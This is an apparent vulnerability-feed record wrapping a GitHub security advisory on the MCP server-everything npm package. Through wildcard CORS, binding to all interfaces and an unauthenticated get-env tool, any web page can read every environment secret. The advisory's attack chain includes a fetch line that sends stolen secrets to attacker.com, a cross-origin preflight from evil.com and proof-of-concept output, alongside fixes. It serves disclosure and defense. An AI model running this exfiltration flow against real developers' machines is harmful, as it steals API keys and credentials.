{"id":"GHSA-mvf5-2qqv-rg3c","kind":"vulnerability","aliases":["GHSA-mvf5-2qqv-rg3c"],"related":[],"title":"Cross-Origin Environment Variable Exfiltration in @modelcontextprotocol/server-everything","description":"### Summary\r\nThe mcp-server-everything package ships an HTTP MCP server that binds to all network interfaces (0.0.0.0) with wildcard CORS (Access-Control-Allow-Origin: *) and no authentication. It exposes a get-env tool that returns the entire contents of process.env — including all API keys, database credentials, and secrets — to any caller. Any web page open in the developer's browser can invoke this tool cross-origin with no user interaction, silently exfiltrating every secret in the process environment.\r\n\r\n---\r\n\r\n## Affected Components\r\n\r\n| File | Issue |\r\n|------|-------|\r\n| `src/everything/transports/sse.ts:10-16` | `cors({ origin: \"*\" })` on SSE transport |\r\n| `src/everything/transports/streamableHttp.ts:43-51` | `cors({ origin: \"*\" })` on StreamableHTTP transport |\r\n| `src/everything/tools/get-env.ts:28` | `JSON.stringify(process.env, null, 2)` — unfiltered env dump |\r\n| Both transports, `app.listen(PORT)` | No host binding restriction; defaults to `0.0.0.0` |\r\n\r\n---\r\n### Details\r\n\r\n### Attack Chain\r\n\r\n```\r\nDeveloper running mcp-server-everything (SSE or StreamableHTTP)\r\n  + real credentials in process.env (API keys, DB passwords, tokens)\r\n  + developer visits any attacker-controlled page (malicious ad, phishing, typosquat)\r\n        │\r\n        ▼\r\nBrowser: EventSource(\"http://localhost:3001/sse\")     ← CORS: * allows this\r\n        │\r\n        ▼\r\nAttacker page completes MCP handshake (initialize → notifications/initialized)\r\n        │\r\n        ▼\r\nBrowser: POST /message?sessionId=... { method: \"tools/call\", name: \"get-env\" }\r\n        │                                          ← CORS: * allows this\r\n        ▼\r\nServer returns JSON.stringify(process.env)\r\n  → AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, all tokens...\r\n        │\r\n        ▼\r\nfetch(\"https://attacker.com/collect\", { body: stolen_env })\r\n        │\r\n        ▼\r\nAll secrets exfiltrated. No browser warnings. No user prompts. No logs on victim machine.\r\n```\r\n\r\n### Why No Bypass Exists\r\n\r\nChecked all potential mitigations — none are present:\r\n\r\n1. **No env var flag to disable `get-env`**: `registerGetEnvTool(server)` is called unconditionally in `tools/index.ts:28`. No `DISABLE_GET_ENV`, `NO_GET_ENV`, or equivalent.\r\n\r\n2. **No CORS allowlist or env var override**: `origin: \"*\"` is hardcoded. No `CORS_ORIGIN`, `ALLOWED_ORIGINS`, or similar override mechanism exists in either transport.\r\n\r\n3. **No host binding restriction**: `app.listen(PORT)` with no host parameter. Node defaults to `0.0.0.0`, making the server reachable on all interfaces including loopback (browser-accessible) and LAN.\r\n\r\n4. **No authentication**: No middleware on any route. `tools/call` is reachable immediately after the MCP handshake.\r\n\r\n5. **No secret filtering in `get-env`**: No denylist, no regex scrubbing, no opt-in allowlist. All keys returned.\r\n\r\n---\r\n\r\n### PoC\r\n\r\nVerified live on 2026-03-17 against `@modelcontextprotocol/server-everything` at HEAD (`1cdf806`).\r\n\r\n### Setup\r\n\r\n```bash\r\n# Start server with fake credentials in env\r\nSECRET_KEY=\"REAL_SECRET_EXFILTRATED_12345\" \\\r\nOPENAI_API_KEY=\"sk-live-abcdefg\" \\\r\nPORT=13001 \\\r\nnode dist/index.js sse\r\n```\r\n\r\n### CORS Preflight Confirmation\r\n\r\n```\r\nOPTIONS /message HTTP/1.1\r\nOrigin: http://evil.com\r\nAccess-Control-Request-Method: POST\r\n\r\nHTTP/1.1 204 No Content\r\nAccess-Control-Allow-Origin: *       ← any origin accepted\r\nAccess-Control-Allow-Methods: GET,POST\r\nAccess-Control-Allow-Headers: Content-Type\r\n```\r\n\r\n### Full MCP Flow (Node.js)\r\n\r\n```\r\nSession: b1fa9222-8ec5-4ace-b7b8-f43659d6bc61\r\nCORS cross-origin request: SUCCEEDED (Origin: evil.com)\r\nTotal vars stolen: 47\r\nSECRET_KEY: REAL_SECRET_EXFILTRATED_12345\r\nOPENAI_API_KEY: sk-live-abcdefg\r\nUSER: ehudmelzer\r\n```\r\n\r\nAll 47 environment variables returned in a single `tools/call` response. Origin `http://evil.com` was accepted without restriction.\r\n\r\n**PoC files**: See `attacker.html` (browser-based) and `start-victim-server.sh` attached under archive.zip + screen recording demonstration.\r\n\r\nhttps://github.com/user-attachments/assets/0011fe4d-e62d-4eec-abb5-2c3627967865\r\n[Archive.zip](https://github.com/user-attachments/files/26052918/Archive.zip)\r\n\r\n\r\n---\r\n\r\n### Impact\r\n\r\n| Scenario | Impact |\r\n|----------|--------|\r\n| Developer runs SSE/StreamableHTTP transport locally during development | All secrets in env exfiltrated by any visited web page |\r\n| CI/CD pipeline runs `mcp-server-everything` with injected credentials | Credentials stolen by any network-adjacent page load |\r\n| Docker container with `--network host` running the server | Same as above, LAN-accessible |\r\n| Developer uses one-click VS Code install shown in README (stdio only) | Not affected — stdio transport has no HTTP surface |\r\n\r\nThe stdio transport (default) is **not affected**. Only developers who explicitly start the SSE or StreamableHTTP transports are exposed. However:\r\n- The README documents and encourages both HTTP transports\r\n- VS Code Docker install (`mcp/everything`) uses stdio — not affected\r\n- `npx @modelcontextprotocol/server-everything sse` — directly affected\r\n\r\n---\r\n## Recommended Fixes\r\n\r\n### Immediate (the server should not be run as-is)\r\n\r\n1. **Bind to loopback only**:\r\n   ```typescript\r\n   app.listen(PORT, \"127.0.0.1\", () => { ... });\r\n   ```\r\n\r\n2. **Replace wildcard CORS with localhost-only**:\r\n   ```typescript\r\n   cors({ origin: /^https?:\\/\\/localhost(:\\d+)?$/ })\r\n   ```\r\n\r\n3. **Remove or gate `get-env`** behind an explicit opt-in flag:\r\n   ```typescript\r\n   if (process.env.ENABLE_GET_ENV_TOOL === \"true\") {\r\n     registerGetEnvTool(server);\r\n   }\r\n   ```\r\n\r\n4. **Add auth token** to HTTP transports (bearer token generated at startup, logged to console).\r\n\r\n### Long-term\r\n\r\n- Add a security warning to the README before the HTTP transport usage instructions\r\n- Document that `get-env` exposes all process secrets and should never be run in shared or multi-user environments\r\n- Publish a fixed version to npm\n\n## Earlier versions\n\nReleases before 2025.9.24 did not send permissive CORS headers, so a web page could not read tool results cross-origin. They still checked neither `Origin` nor `Host`, so they remain exposed to DNS rebinding, which the `Origin` check in 2.0.1 also closes. Upgrade from any earlier version.\n\n## Upgrading from a date-versioned release\n\n`@modelcontextprotocol/server-everything` moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: `npm install @modelcontextprotocol/server-everything@2.0.1` (or `@latest`).","summary":"The npm package @modelcontextprotocol/server-everything, when run with its SSE or StreamableHTTP transport, binds to all interfaces with wildcard CORS and no authentication. Any web page a developer visits can call its get-env tool and read every environment variable, including API keys and database credentials.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@modelcontextprotocol/server-everything","fixed":[],"affected":">= 2025.9.24, <= 2026.8.31","ecosystem":"npm"},{"name":"@modelcontextprotocol/server-everything","fixed":["2.0.1"],"affected":">= 1.0.0, < 2.0.1","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["claude-code","cwe-200","cwe-942","developers","mcp","node","npm","package"],"not_affected_if":["no-http-transport","stdio-transport"],"how_to_check":"- Run `npm ls @modelcontextprotocol/server-everything` to find the installed version.\n- Check whether the server is started with the `sse` or `streamableHttp` transport, for example `npx @modelcontextprotocol/server-everything sse`; stdio use is not affected.\n- Confirm whether the HTTP port is reachable from other machines or browsers on the same network.","fix":"- `@modelcontextprotocol/server-everything` `2.0.1` for affected versions `>= 1.0.0, < 2.0.1`.\n- Date versions `2025.9.24` through `2026.8.31` are affected; the advisory lists no fixed date version, so install `2.0.1` explicitly.","status":"open","published_at":"2026-10-25T00:19:52+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","triaged_at":"2026-11-09T22:54:44+00:00","updated_at":"2026-11-09T22:54:44+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-09T22:54:44Z","model":"claude-haiku-5-5","output":{"fix":"- `@modelcontextprotocol/server-everything` `2.0.1` for affected versions `>= 1.0.0, < 2.0.1`.\n- Date versions `2025.9.24` through `2026.8.31` are affected; the advisory lists no fixed date version, so install `2.0.1` explicitly.","reach":"local","title":"MCP server-everything: web pages can read all environment secrets over HTTP","impact":"high","summary":"The npm package @modelcontextprotocol/server-everything, when run with its SSE or StreamableHTTP transport, binds to all interfaces with wildcard CORS and no authentication. Any web page a developer visits can call its get-env tool and read every environment variable, including API keys and database credentials.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","npm","node","claude-code","developers"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Attacker page reads all environment secrets, including API keys and passwords.","analyst_note":"","how_to_check":"- Run `npm ls @modelcontextprotocol/server-everything` to find the installed version.\n- Check whether the server is started with the `sse` or `streamableHttp` transport, for example `npx @modelcontextprotocol/server-everything sse`; stdio use is not affected.\n- Confirm whether the HTTP port is reachable from other machines or browsers on the same network.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["stdio-transport","no-http-transport"],"who_is_affected":"Only setups that start the server's SSE or StreamableHTTP transport are exposed, because the default stdio transport has no HTTP surface. The risk is highest when secrets sit in the process environment and the developer also browses the web on the same machine. Stdio-only use and Docker images run in stdio mode can skip it.","user_interaction":"yes","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.00107,"input_tokens":7283,"output_tokens":684,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-03':430C '-16':168C '-17':431C '-200':25B '-51':176C '-942':27B '/collect':279C '/message':250C,468C '0.0.0.0':97C,201C,373C '1':308C '10':167C '12345':451C,533C '13001':460C '1cdf806':436C '2':187C,335C '2026':429C '204':479C '28':183C,325C '2qqv':12A,17A '3':359C '3001/sse':237C '4':388C '43':175C '47':527C,544C '4ace':513C '5':404C '8ec5':512C 'abcdefg':458C,540C 'accept':489C,556C 'access':102C,267C,385C,473C,483C,491C,498C 'access-control-allow-head':497C 'access-control-allow-method':490C 'access-control-allow-origin':101C,482C 'access-control-request-method':472C 'ad':231C 'affect':162C 'allow':104C,239C,259C,349C,485C,493C,500C 'allowlist':338C,421C 'api':74B,125C,218C,270C,453C,535C 'app.listen':193C,364C 'archive.zip':570C 'attach':568C 'attack':203C,227C,241C 'attacker-control':226C 'attacker.com':278C 'attacker.com/collect':277C 'attacker.html':562C 'authent':54B,108C,390C 'aw':265C 'b1fa9222':511C 'b1fa9222-8ec5-4ace-b7b8-f43659d6bc61':510C 'b7b8':514C 'base':565C 'bash':438C 'bind':45B,92C,197C,362C 'bodi':280C 'browser':142C,234C,248C,287C,384C,564C 'browser-access':383C 'browser-bas':563C 'bypass':299C 'call':62B,321C 'caller':133C 'chain':204C 'check':301C 'claud':22B 'claude-cod':21B 'code':23B 'complet':243C 'compon':163C 'confirm':466C 'content':120C,481C,503C 'content-typ':502C 'control':103C,228C,474C,484C,492C,499C 'cor':51B,100C,169C,177C,238C,258C,337C,347C,464C,516C 'credenti':78B,128C,215C,443C 'cross':2A,148C,518C 'cross-origin':1A,147C,517C 'cwe':24B,26B 'databas':77B,127C,272C 'db':220C 'default':199C,371C 'demonstr':573C 'denylist':413C 'detail':202C 'develop':28B,59B,140C,205C,223C 'disabl':314C,327C 'dist/index.js':462C 'dump':190C 'ehudmelz':542C 'either':357C 'entir':119C 'env':66B,114C,189C,257C,282C,310C,317C,329C,332C,340C,411C,445C 'environ':4A,71B,161C,545C 'equival':334C 'eventsourc':235C 'everi':70B,156C 'everyth':84C,210C 'evil.com':471C,523C,554C 'exfiltr':6A,155C,285C,450C,532C 'exist':300C,355C 'expos':110C 'f43659d6bc61':515C 'fake':442C 'fetch':276C 'file':164C,560C 'filter':407C 'flag':312C 'flow':507C 'full':505C 'get':65B,113C,256C,316C,328C,331C,410C,495C 'get-env':64B,112C,255C,315C,409C 'ghsa':10A,15A 'ghsa-mvf5-2qqv-rg3c':9A,14A 'handshak':245C,403C 'hardcod':345C 'head':435C 'header':501C 'host':196C,361C,368C 'http':88C 'http/1.1':469C,478C 'immedi':399C 'includ':73B,123C,381C 'initi':246C 'interact':153C 'interfac':48B,96C,380C 'invok':144C 'issu':165C 'json.stringify':184C,263C 'key':75B,126C,219C,268C,271C,423C,447C,454C,529C,536C 'lan':387C 'live':427C,457C,539C 'localhost':236C 'log':293C 'loopback':382C 'machin':296C 'make':374C 'malici':230C 'mcp':29B,82C,89C,208C,244C,402C,506C 'mcp-server-everyth':81C,207C 'mechan':354C 'method':252C,476C,494C 'middlewar':392C 'mitig':304C 'modelcontextprotocol/server-everything':8A,19A,20A,36B,433C 'mvf5':11A,16A 'name':254C 'network':95C 'node':30B,370C,461C 'node.js':508C 'none':305C 'notifications/initialized':247C 'npm':31B,34B 'null':186C 'open':137C 'openai':269C,452C,534C 'opt':419C 'opt-in':418C 'option':467C 'origin':3A,105C,149C,170C,178C,343C,348C,350C,470C,486C,488C,519C,522C,553C 'overrid':342C,353C 'packag':32B,35B,85C 'page':57B,136C,229C,242C 'paramet':369C 'password':221C 'phish':232C 'poc':425C,559C 'port':194C,365C,459C 'post':249C,477C,496C 'potenti':303C 'preflight':465C 'present':307C 'process':160C 'process.env':122C,185C,217C,264C 'prompt':291C 'reachabl':377C,398C 'read':69B 'real':214C,448C,530C 'record':572C 'regex':415C 'registergetenvtool':318C 'request':475C,520C 'respons':552C 'restrict':198C,363C,558C 'return':117C,262C,424C,547C 'rg3c':13A,18A 'rout':395C 'run':38B,206C 'screen':571C 'scrub':416C 'secret':130C,157C,266C,284C,406C,446C,449C,528C,531C 'see':561C 'server':83C,90C,209C,261C,319C,376C,440C 'session':509C 'sessionid':251C 'setup':437C 'ship':86C 'silent':154C 'similar':352C 'singl':550C 'sk':456C,538C 'sk-live-abcdefg':455C,537C 'src/everything/tools/get-env.ts':182C 'src/everything/transports/sse.ts':166C 'src/everything/transports/streamablehttp.ts':174C 'sse':41B,172C,211C,463C 'start':439C 'start-victim-server.sh':567C 'stolen':281C,526C 'streamablehttp':43B,180C,213C 'succeed':521C 'summari':79C 'token':222C,275C 'tool':67B,115C,146C 'tools/call':253C,396C,551C 'tools/index.ts':324C 'total':524C 'transport':44B,173C,181C,192C,358C 'type':504C 'typosquat':233C 'uncondit':322C 'unfilt':188C 'url':273C 'user':152C,290C,541C 'var':311C,341C,525C 'variabl':5A,72B,546C 'verifi':426C 'victim':295C 'visit':60B,224C 'warn':288C 'web':56B,135C 'wildcard':50B,99C 'without':557C","nicknames":[],"mitigations":[],"who_affected":"Only setups that start the server's SSE or StreamableHTTP transport are exposed, because the default stdio transport has no HTTP surface. The risk is highest when secrets sit in the process environment and the developer also browses the web on the same machine. Stdio-only use and Docker images run in stdio mode can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["servereverything"],"ptokens":["everything","modelcontextprotocol","server"],"labels":["claudecode","cwe200","cwe942","developers","mcp","medium","node","npm","package"],"campaign_type":null,"search_a":"'2qqv':12A,17A 'cross':2A 'cross-origin':1A 'environ':4A 'exfiltr':6A 'ghsa':10A,15A 'ghsa-mvf5-2qqv-rg3c':9A,14A 'modelcontextprotocol/server-everything':8A,19A,20A 'mvf5':11A,16A 'origin':3A 'rg3c':13A,18A 'variabl':5A","search_b":"'-200':25B '-942':27B 'api':74B 'authent':54B 'bind':45B 'call':62B 'claud':22B 'claude-cod':21B 'code':23B 'cor':51B 'credenti':78B 'cwe':24B,26B 'databas':77B 'develop':28B,59B 'env':66B 'environ':71B 'everi':70B 'get':65B 'get-env':64B 'includ':73B 'interfac':48B 'key':75B 'mcp':29B 'modelcontextprotocol/server-everything':36B 'node':30B 'npm':31B,34B 'packag':32B,35B 'page':57B 'read':69B 'run':38B 'sse':41B 'streamablehttp':43B 'tool':67B 'transport':44B 'variabl':72B 'visit':60B 'web':56B 'wildcard':50B","search_c":"'-03':430C '-16':168C '-17':431C '-51':176C '/collect':279C '/message':250C,468C '0.0.0.0':97C,201C,373C '1':308C '10':167C '12345':451C,533C '13001':460C '1cdf806':436C '2':187C,335C '2026':429C '204':479C '28':183C,325C '3':359C '3001/sse':237C '4':388C '43':175C '47':527C,544C '4ace':513C '5':404C '8ec5':512C 'abcdefg':458C,540C 'accept':489C,556C 'access':102C,267C,385C,473C,483C,491C,498C 'access-control-allow-head':497C 'access-control-allow-method':490C 'access-control-allow-origin':101C,482C 'access-control-request-method':472C 'ad':231C 'affect':162C 'allow':104C,239C,259C,349C,485C,493C,500C 'allowlist':338C,421C 'api':125C,218C,270C,453C,535C 'app.listen':193C,364C 'archive.zip':570C 'attach':568C 'attack':203C,227C,241C 'attacker-control':226C 'attacker.com':278C 'attacker.com/collect':277C 'attacker.html':562C 'authent':108C,390C 'aw':265C 'b1fa9222':511C 'b1fa9222-8ec5-4ace-b7b8-f43659d6bc61':510C 'b7b8':514C 'base':565C 'bash':438C 'bind':92C,197C,362C 'bodi':280C 'browser':142C,234C,248C,287C,384C,564C 'browser-access':383C 'browser-bas':563C 'bypass':299C 'call':321C 'caller':133C 'chain':204C 'check':301C 'complet':243C 'compon':163C 'confirm':466C 'content':120C,481C,503C 'content-typ':502C 'control':103C,228C,474C,484C,492C,499C 'cor':100C,169C,177C,238C,258C,337C,347C,464C,516C 'credenti':128C,215C,443C 'cross':148C,518C 'cross-origin':147C,517C 'databas':127C,272C 'db':220C 'default':199C,371C 'demonstr':573C 'denylist':413C 'detail':202C 'develop':140C,205C,223C 'disabl':314C,327C 'dist/index.js':462C 'dump':190C 'ehudmelz':542C 'either':357C 'entir':119C 'env':114C,189C,257C,282C,310C,317C,329C,332C,340C,411C,445C 'environ':161C,545C 'equival':334C 'eventsourc':235C 'everi':156C 'everyth':84C,210C 'evil.com':471C,523C,554C 'exfiltr':155C,285C,450C,532C 'exist':300C,355C 'expos':110C 'f43659d6bc61':515C 'fake':442C 'fetch':276C 'file':164C,560C 'filter':407C 'flag':312C 'flow':507C 'full':505C 'get':113C,256C,316C,328C,331C,410C,495C 'get-env':112C,255C,315C,409C 'handshak':245C,403C 'hardcod':345C 'head':435C 'header':501C 'host':196C,361C,368C 'http':88C 'http/1.1':469C,478C 'immedi':399C 'includ':123C,381C 'initi':246C 'interact':153C 'interfac':96C,380C 'invok':144C 'issu':165C 'json.stringify':184C,263C 'key':126C,219C,268C,271C,423C,447C,454C,529C,536C 'lan':387C 'live':427C,457C,539C 'localhost':236C 'log':293C 'loopback':382C 'machin':296C 'make':374C 'malici':230C 'mcp':82C,89C,208C,244C,402C,506C 'mcp-server-everyth':81C,207C 'mechan':354C 'method':252C,476C,494C 'middlewar':392C 'mitig':304C 'modelcontextprotocol/server-everything':433C 'name':254C 'network':95C 'node':370C,461C 'node.js':508C 'none':305C 'notifications/initialized':247C 'null':186C 'open':137C 'openai':269C,452C,534C 'opt':419C 'opt-in':418C 'option':467C 'origin':105C,149C,170C,178C,343C,348C,350C,470C,486C,488C,519C,522C,553C 'overrid':342C,353C 'packag':85C 'page':136C,229C,242C 'paramet':369C 'password':221C 'phish':232C 'poc':425C,559C 'port':194C,365C,459C 'post':249C,477C,496C 'potenti':303C 'preflight':465C 'present':307C 'process':160C 'process.env':122C,185C,217C,264C 'prompt':291C 'reachabl':377C,398C 'real':214C,448C,530C 'record':572C 'regex':415C 'registergetenvtool':318C 'request':475C,520C 'respons':552C 'restrict':198C,363C,558C 'return':117C,262C,424C,547C 'rout':395C 'run':206C 'screen':571C 'scrub':416C 'secret':130C,157C,266C,284C,406C,446C,449C,528C,531C 'see':561C 'server':83C,90C,209C,261C,319C,376C,440C 'session':509C 'sessionid':251C 'setup':437C 'ship':86C 'silent':154C 'similar':352C 'singl':550C 'sk':456C,538C 'sk-live-abcdefg':455C,537C 'src/everything/tools/get-env.ts':182C 'src/everything/transports/sse.ts':166C 'src/everything/transports/streamablehttp.ts':174C 'sse':172C,211C,463C 'start':439C 'start-victim-server.sh':567C 'stolen':281C,526C 'streamablehttp':180C,213C 'succeed':521C 'summari':79C 'token':222C,275C 'tool':115C,146C 'tools/call':253C,396C,551C 'tools/index.ts':324C 'total':524C 'transport':173C,181C,192C,358C 'type':504C 'typosquat':233C 'uncondit':322C 'unfilt':188C 'url':273C 'user':152C,290C,541C 'var':311C,341C,525C 'variabl':546C 'verifi':426C 'victim':295C 'visit':224C 'warn':288C 'web':135C 'wildcard':99C 'without':557C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-25T00:19:52+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-mvf5-2qqv-rg3c","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-mvf5-2qqv-rg3c","severity":"medium","published_at":"2026-10-25T00:19:52+00:00","modified_at":"2026-10-25T00:19:52+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","fetched_at":"2026-11-09T22:53:25+00:00","note":null}],"documents":[{"id":110617,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-mvf5-2qqv-rg3c","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}